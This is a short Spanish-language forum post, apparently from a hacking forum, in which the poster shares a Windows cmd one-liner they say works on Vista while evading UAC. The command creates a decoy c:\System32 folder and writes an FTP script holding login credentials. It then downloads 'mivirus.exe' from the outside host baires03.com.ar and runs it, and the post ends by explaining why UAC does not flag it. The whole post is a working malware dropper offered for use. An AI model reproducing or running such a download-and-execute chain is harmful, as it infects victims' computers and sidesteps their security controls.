Lo pongo todo separado para que se lea mejor...
Ya conseguir que funcione en Vista y burle el UAC:
cmd.exe /c
md c:\System32 &
cd c:\system32 &
echo try@servidor>c:\\System32\log.txt&
echo mipassword>>c:\\System32\log.txt&
echo cd />>c:\\System32\log.txt&
echo pwd>>c:\\System32\log.txt&
echo binary>>c:\\System32\log.txt &
echo get mivirus.exe>>c:\\System32\log.txt&
echo bye>>c:\\System32\log.txt &
echo quit>>c:\\System32\log.txt &
ftp -s:c:\\System32\log.txt baires03.com.ar &
start mivirus.exe
asi no tocamos ninguna ruta sospechosa para el UAC y nos deja hacer todo el proceso